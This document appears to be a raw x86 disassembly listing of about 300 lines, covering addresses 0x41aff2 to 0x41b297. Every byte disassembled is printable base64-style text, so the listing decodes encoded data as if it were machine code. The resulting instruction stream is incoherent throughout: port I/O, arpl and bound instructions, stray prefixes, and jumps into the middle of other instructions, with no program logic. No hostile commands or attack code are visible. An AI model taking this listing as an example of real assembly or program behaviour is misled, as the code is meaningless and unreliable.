41aff2:	55                   	push   %ebp
41aff3:	65 78 67             	gs js  0x41b05d
41aff6:	75 64                	jne    0x41b05c
41aff8:	45                   	inc    %ebp
41aff9:	57                   	push   %edi
41affa:	53                   	push   %ebx
41affb:	43                   	inc    %ebx
41affc:	39 58 4d             	cmp    %ebx,0x4d(%eax)
41afff:	41                   	inc    %ecx
41b000:	38 5a 4e             	cmp    %bl,0x4e(%edx)
41b003:	32 68 64             	xor    0x64(%eax),%ch
41b006:	6a 51                	push   $0x51
41b008:	64 45                	fs inc %ebp
41b00a:	73 6d                	jae    0x41b079
41b00c:	6e                   	outsb  %ds:(%esi),(%dx)
41b00d:	4f                   	dec    %edi
41b00e:	38 64 71 56          	cmp    %ah,0x56(%ecx,%esi,2)
41b012:	6e                   	outsb  %ds:(%esi),(%dx)
41b013:	55                   	push   %ebp
41b014:	35 74 6c 4e 72       	xor    $0x724e6c74,%eax
41b019:	58                   	pop    %eax
41b01a:	30 48 4a             	xor    %cl,0x4a(%eax)
41b01d:	59                   	pop    %ecx
41b01e:	6a 43                	push   $0x43
41b020:	63 48 6a             	arpl   %ecx,0x6a(%eax)
41b023:	35 6e 67 61 36       	xor    $0x3661676e,%eax
41b028:	42                   	inc    %edx
41b029:	38 55 57             	cmp    %dl,0x57(%ebp)
41b02c:	6b 4e 70 58          	imul   $0x58,0x70(%esi),%ecx
41b030:	67 37                	addr16 aaa
41b032:	4d                   	dec    %ebp
41b033:	77 78                	ja     0x41b0ad
41b035:	55                   	push   %ebp
41b036:	77 45                	ja     0x41b07d
41b038:	49                   	dec    %ecx
41b039:	45                   	inc    %ebp
41b03a:	68 34 4a 36 50       	push   $0x50364a34
41b03f:	50                   	push   %eax
41b040:	61                   	popa
41b041:	63 41 44             	arpl   %eax,0x44(%ecx)
41b044:	52                   	push   %edx
41b045:	52                   	push   %edx
41b046:	45                   	inc    %ebp
41b047:	68 54 74 69 47       	push   $0x47697454
41b04c:	43                   	inc    %ebx
41b04d:	2b 47 63             	sub    0x63(%edi),%eax
41b050:	68 7a 36 56 71       	push   $0x7156367a
41b055:	57                   	push   %edi
41b056:	77 70                	ja     0x41b0c8
41b058:	4a                   	dec    %edx
41b059:	45                   	inc    %ebp
41b05a:	51                   	push   %ecx
41b05b:	76 42                	jbe    0x41b09f
41b05d:	32 79 79             	xor    0x79(%ecx),%bh
41b060:	74 52                	je     0x41b0b4
41b062:	67 4f                	addr16 dec %edi
41b064:	5a                   	pop    %edx
41b065:	41                   	inc    %ecx
41b066:	57                   	push   %edi
41b067:	6a 65                	push   $0x65
41b069:	6e                   	outsb  %ds:(%esi),(%dx)
41b06a:	62 36                	bound  %esi,(%esi)
41b06c:	4f                   	dec    %edi
41b06d:	33 6a 37             	xor    0x37(%edx),%ebp
41b070:	48                   	dec    %eax
41b071:	79 71                	jns    0x41b0e4
41b073:	32 78 6b             	xor    0x6b(%eax),%bh
41b076:	67 59                	addr16 pop %ecx
41b078:	66 36 61             	ss popaw
41b07b:	2f                   	das
41b07c:	32 2f                	xor    (%edi),%ch
41b07e:	75 75                	jne    0x41b0f5
41b080:	74 67                	je     0x41b0e9
41b082:	64 38 2f             	cmp    %ch,%fs:(%edi)
41b085:	74 6a                	je     0x41b0f1
41b087:	78 5a                	js     0x41b0e3
41b089:	7a 6f                	jp     0x41b0fa
41b08b:	76 56                	jbe    0x41b0e3
41b08d:	69 38 74 43 6a 74    	imul   $0x746a4374,(%eax),%edi
41b093:	2b 56 33             	sub    0x33(%esi),%edx
41b096:	53                   	push   %ebx
41b097:	78 6b                	js     0x41b104
41b099:	47                   	inc    %edi
41b09a:	72 5a                	jb     0x41b0f6
41b09c:	56                   	push   %esi
41b09d:	71 63                	jno    0x41b102
41b09f:	47                   	inc    %edi
41b0a0:	73 52                	jae    0x41b0f4
41b0a2:	6c                   	insb   (%dx),%es:(%edi)
41b0a3:	47                   	inc    %edi
41b0a4:	36 66 48             	ss dec %ax
41b0a7:	46                   	inc    %esi
41b0a8:	6f                   	outsl  %ds:(%esi),(%dx)
41b0a9:	66 71 72             	data16 jno 0x41b11e
41b0ac:	4f                   	dec    %edi
41b0ad:	4b                   	dec    %ebx
41b0ae:	69 61 63 6f 54 54 46 	imul   $0x4654546f,0x63(%ecx),%esp
41b0b5:	56                   	push   %esi
41b0b6:	52                   	push   %edx
41b0b7:	30 58 37             	xor    %bl,0x37(%eax)
41b0ba:	4a                   	dec    %edx
41b0bb:	46                   	inc    %esi
41b0bc:	6b 58 49 2b          	imul   $0x2b,0x49(%eax),%ebx
41b0c0:	4e                   	dec    %esi
41b0c1:	50                   	push   %eax
41b0c2:	43                   	inc    %ebx
41b0c3:	31 45 69             	xor    %eax,0x69(%ebp)
41b0c6:	36 4e                	ss dec %esi
41b0c8:	33 66 34             	xor    0x34(%esi),%esp
41b0cb:	46                   	inc    %esi
41b0cc:	72 34                	jb     0x41b102
41b0ce:	56                   	push   %esi
41b0cf:	48                   	dec    %eax
41b0d0:	68 4b 49 31 78       	push   $0x7831494b
41b0d5:	72 46                	jb     0x41b11d
41b0d7:	38 43 31             	cmp    %al,0x31(%ebx)
41b0da:	61                   	popa
41b0db:	33 5a 48             	xor    0x48(%edx),%ebx
41b0de:	76 72                	jbe    0x41b152
41b0e0:	52                   	push   %edx
41b0e1:	44                   	inc    %esp
41b0e2:	66 6e                	data16 outsb %ds:(%esi),(%dx)
41b0e4:	48                   	dec    %eax
41b0e5:	70 64                	jo     0x41b14b
41b0e7:	70 74                	jo     0x41b15d
41b0e9:	52                   	push   %edx
41b0ea:	4e                   	dec    %esi
41b0eb:	50                   	push   %eax
41b0ec:	39 6f 6c             	cmp    %ebp,0x6c(%edi)
41b0ef:	35 44 2b 56 76       	xor    $0x76562b44,%eax
41b0f4:	70 55                	jo     0x41b14b
41b0f6:	63 34 4d 2f 4a 77 37 	arpl   %esi,0x37774a2f(,%ecx,2)
41b0fd:	72 2f                	jb     0x41b12e
41b0ff:	4c                   	dec    %esp
41b100:	7a 64                	jp     0x41b166
41b102:	53                   	push   %ebx
41b103:	71 77                	jno    0x41b17c
41b105:	76 31                	jbe    0x41b138
41b107:	64 54                	fs push %esp
41b109:	59                   	pop    %ecx
41b10a:	63 37                	arpl   %esi,(%edi)
41b10c:	75 76                	jne    0x41b184
41b10e:	42                   	inc    %edx
41b10f:	70 35                	jo     0x41b146
41b111:	31 71 75             	xor    %esi,0x75(%ecx)
41b114:	50                   	push   %eax
41b115:	74 41                	je     0x41b158
41b117:	64 32 7a 57          	xor    %fs:0x57(%edx),%bh
41b11b:	47                   	inc    %edi
41b11c:	6e                   	outsb  %ds:(%esi),(%dx)
41b11d:	33 56 4e             	xor    0x4e(%esi),%edx
41b120:	6c                   	insb   (%dx),%es:(%edi)
41b121:	59                   	pop    %ecx
41b122:	4a                   	dec    %edx
41b123:	78 66                	js     0x41b18b
41b125:	62 51 72             	bound  %edx,0x72(%ecx)
41b128:	6c                   	insb   (%dx),%es:(%edi)
41b129:	35 55 69 58 4d       	xor    $0x4d586955,%eax
41b12e:	6b 43 34 6f          	imul   $0x6f,0x34(%ebx),%eax
41b132:	43                   	inc    %ebx
41b133:	55                   	push   %ebp
41b134:	50                   	push   %eax
41b135:	4b                   	dec    %ebx
41b136:	77 59                	ja     0x41b191
41b138:	4d                   	dec    %ebp
41b139:	6f                   	outsl  %ds:(%esi),(%dx)
41b13a:	4d                   	dec    %ebp
41b13b:	53                   	push   %ebx
41b13c:	38 46 4d             	cmp    %al,0x4d(%esi)
41b13f:	56                   	push   %esi
41b140:	5a                   	pop    %edx
41b141:	39 50 63             	cmp    %edx,0x63(%eax)
41b144:	38 58 39             	cmp    %bl,0x39(%eax)
41b147:	6b 58 6b 38          	imul   $0x38,0x6b(%eax),%ebx
41b14b:	6b 79 31 51          	imul   $0x51,0x31(%ecx),%edi
41b14f:	6a 46                	push   $0x46
41b151:	32 34 71             	xor    (%ecx,%esi,2),%dh
41b154:	39 58 55             	cmp    %ebx,0x55(%eax)
41b157:	34 63                	xor    $0x63,%al
41b159:	6e                   	outsb  %ds:(%esi),(%dx)
41b15a:	4a                   	dec    %edx
41b15b:	6f                   	outsl  %ds:(%esi),(%dx)
41b15c:	63 6f 51             	arpl   %ebp,0x51(%edi)
41b15f:	71 75                	jno    0x41b1d6
41b161:	56                   	push   %esi
41b162:	58                   	pop    %eax
41b163:	71 6b                	jno    0x41b1d0
41b165:	79 32                	jns    0x41b199
41b167:	4e                   	dec    %esi
41b168:	47                   	inc    %edi
41b169:	2f                   	das
41b16a:	2b 5a 76             	sub    0x76(%edx),%ebx
41b16d:	32 6c 55 61          	xor    0x61(%ebp,%edx,2),%ch
41b171:	49                   	dec    %ecx
41b172:	46                   	inc    %esi
41b173:	47                   	inc    %edi
41b174:	34 33                	xor    $0x33,%al
41b176:	31 42 64             	xor    %eax,0x64(%edx)
41b179:	65 4c                	gs dec %esp
41b17b:	69 62 41 33 30 6e 67 	imul   $0x676e3033,0x41(%edx),%esp
41b182:	52                   	push   %edx
41b183:	68 45 64 72 52       	push   $0x52726445
41b188:	6a 58                	push   $0x58
41b18a:	43                   	inc    %ebx
41b18b:	6a 39                	push   $0x39
41b18d:	37                   	aaa
41b18e:	7a 36                	jp     0x41b1c6
41b190:	4f                   	dec    %edi
41b191:	38 4d 63             	cmp    %cl,0x63(%ebp)
41b194:	48                   	dec    %eax
41b195:	31 7a 4b             	xor    %edi,0x4b(%edx)
41b198:	6c                   	insb   (%dx),%es:(%edi)
41b199:	37                   	aaa
41b19a:	7a 61                	jp     0x41b1fd
41b19c:	37                   	aaa
41b19d:	6d                   	insl   (%dx),%es:(%edi)
41b19e:	68 75 42 4f 45       	push   $0x454f4275
41b1a3:	61                   	popa
41b1a4:	71 68                	jno    0x41b20e
41b1a6:	41                   	inc    %ecx
41b1a7:	76 69                	jbe    0x41b212
41b1a9:	44                   	inc    %esp
41b1aa:	53                   	push   %ebx
41b1ab:	31 42 45             	xor    %eax,0x45(%edx)
41b1ae:	70 50                	jo     0x41b200
41b1b0:	59                   	pop    %ecx
41b1b1:	56                   	push   %esi
41b1b2:	45                   	inc    %ebp
41b1b3:	59                   	pop    %ecx
41b1b4:	4d                   	dec    %ebp
41b1b5:	42                   	inc    %edx
41b1b6:	30 41 32             	xor    %al,0x32(%ecx)
41b1b9:	56                   	push   %esi
41b1ba:	6b 77 6d 70          	imul   $0x70,0x6d(%edi),%esi
41b1be:	4a                   	dec    %edx
41b1bf:	41                   	inc    %ecx
41b1c0:	4d                   	dec    %ebp
41b1c1:	6c                   	insb   (%dx),%es:(%edi)
41b1c2:	38 4f 71             	cmp    %cl,0x71(%edi)
41b1c5:	32 59 47             	xor    0x47(%ecx),%bl
41b1c8:	64 6a 7a             	fs push $0x7a
41b1cb:	69 6b 7a 43 4d 33 48 	imul   $0x48334d43,0x7a(%ebx),%ebp
41b1d2:	64 45                	fs inc %ebp
41b1d4:	33 78 4b             	xor    0x4b(%eax),%edi
41b1d7:	63 53 51             	arpl   %edx,0x51(%ebx)
41b1da:	55                   	push   %ebp
41b1db:	53                   	push   %ebx
41b1dc:	39 45 4d             	cmp    %eax,0x4d(%ebp)
41b1df:	75 75                	jne    0x41b256
41b1e1:	52                   	push   %edx
41b1e2:	37                   	aaa
41b1e3:	57                   	push   %edi
41b1e4:	32 39                	xor    (%ecx),%bh
41b1e6:	64 6c                	fs insb (%dx),%es:(%edi)
41b1e8:	4e                   	dec    %esi
41b1e9:	69 6f 72 4b 36 6e 2b 	imul   $0x2b6e364b,0x72(%edi),%ebp
41b1f0:	43                   	inc    %ebx
41b1f1:	36 4f                	ss dec %edi
41b1f3:	57                   	push   %edi
41b1f4:	4a                   	dec    %edx
41b1f5:	6e                   	outsb  %ds:(%esi),(%dx)
41b1f6:	74 30                	je     0x41b228
41b1f8:	76 32                	jbe    0x41b22c
41b1fa:	6a 62                	push   $0x62
41b1fc:	65 4a                	gs dec %edx
41b1fe:	4a                   	dec    %edx
41b1ff:	67 50                	addr16 push %eax
41b201:	37                   	aaa
41b202:	48                   	dec    %eax
41b203:	43                   	inc    %ebx
41b204:	36 6e                	outsb  %ss:(%esi),(%dx)
41b206:	4b                   	dec    %ebx
41b207:	57                   	push   %edi
41b208:	45                   	inc    %ebp
41b209:	50                   	push   %eax
41b20a:	44                   	inc    %esp
41b20b:	73 53                	jae    0x41b260
41b20d:	46                   	inc    %esi
41b20e:	47                   	inc    %edi
41b20f:	30 68 44             	xor    %ch,0x44(%eax)
41b212:	6c                   	insb   (%dx),%es:(%edi)
41b213:	76 2f                	jbe    0x41b244
41b215:	71 69                	jno    0x41b280
41b217:	6c                   	insb   (%dx),%es:(%edi)
41b218:	6f                   	outsl  %ds:(%esi),(%dx)
41b219:	37                   	aaa
41b21a:	4b                   	dec    %ebx
41b21b:	73 72                	jae    0x41b28f
41b21d:	67 33 6a 70          	xor    0x70(%bp,%si),%ebp
41b221:	79 65                	jns    0x41b288
41b223:	44                   	inc    %esp
41b224:	2f                   	das
41b225:	5a                   	pop    %edx
41b226:	4a                   	dec    %edx
41b227:	4e                   	dec    %esi
41b228:	39 2b                	cmp    %ebp,(%ebx)
41b22a:	39 41 57             	cmp    %eax,0x57(%ecx)
41b22d:	45                   	inc    %ebp
41b22e:	50                   	push   %eax
41b22f:	72 6e                	jb     0x41b29f
41b231:	6e                   	outsb  %ds:(%esi),(%dx)
41b232:	39 57 59             	cmp    %edx,0x59(%edi)
41b235:	71 42                	jno    0x41b279
41b237:	39 47 35             	cmp    %eax,0x35(%edi)
41b23a:	39 74 6a 62          	cmp    %esi,0x62(%edx,%ebp,2)
41b23e:	53                   	push   %ebx
41b23f:	49                   	dec    %ecx
41b240:	38 47 72             	cmp    %al,0x72(%edi)
41b243:	71 68                	jno    0x41b2ad
41b245:	42                   	inc    %edx
41b246:	41                   	inc    %ecx
41b247:	4f                   	dec    %edi
41b248:	73 64                	jae    0x41b2ae
41b24a:	64 61                	fs popa
41b24c:	42                   	inc    %edx
41b24d:	36 30 42 4b          	xor    %al,%ss:0x4b(%edx)
41b251:	77 7a                	ja     0x41b2cd
41b253:	64 63 58 59          	arpl   %ebx,%fs:0x59(%eax)
41b257:	44                   	inc    %esp
41b258:	4e                   	dec    %esi
41b259:	54                   	push   %esp
41b25a:	5a                   	pop    %edx
41b25b:	65 35 4f 6d 59 6b    	gs xor $0x6b596d4f,%eax
41b261:	77 72                	ja     0x41b2d5
41b263:	44                   	inc    %esp
41b264:	4e                   	dec    %esi
41b265:	65 6b 74 36 69 4a    	imul   $0x4a,%gs:0x69(%esi,%esi,1),%esi
41b26b:	73 30                	jae    0x41b29d
41b26d:	30 77 61             	xor    %dh,0x61(%edi)
41b270:	6b 4e 63 43          	imul   $0x43,0x63(%esi),%ecx
41b274:	71 2b                	jno    0x41b2a1
41b276:	59                   	pop    %ecx
41b277:	6c                   	insb   (%dx),%es:(%edi)
41b278:	4c                   	dec    %esp
41b279:	43                   	inc    %ebx
41b27a:	68 61 6c 64 4b       	push   $0x4b646c61
41b27f:	77 55                	ja     0x41b2d6
41b281:	53                   	push   %ebx
41b282:	6f                   	outsl  %ds:(%esi),(%dx)
41b283:	79 4f                	jns    0x41b2d4
41b285:	32 70 4e             	xor    0x4e(%eax),%dh
41b288:	55                   	push   %ebp
41b289:	6d                   	insl   (%dx),%es:(%edi)
41b28a:	33 38                	xor    (%eax),%edi
41b28c:	32 6b 6b             	xor    0x6b(%ebx),%ch
41b28f:	75 55                	jne    0x41b2e6
41b291:	44                   	inc    %esp
41b292:	67 36 50             	addr16 ss push %eax
41b295:	72 62                	jb     0x41b2f9
41b297:	58                   	pop    %eax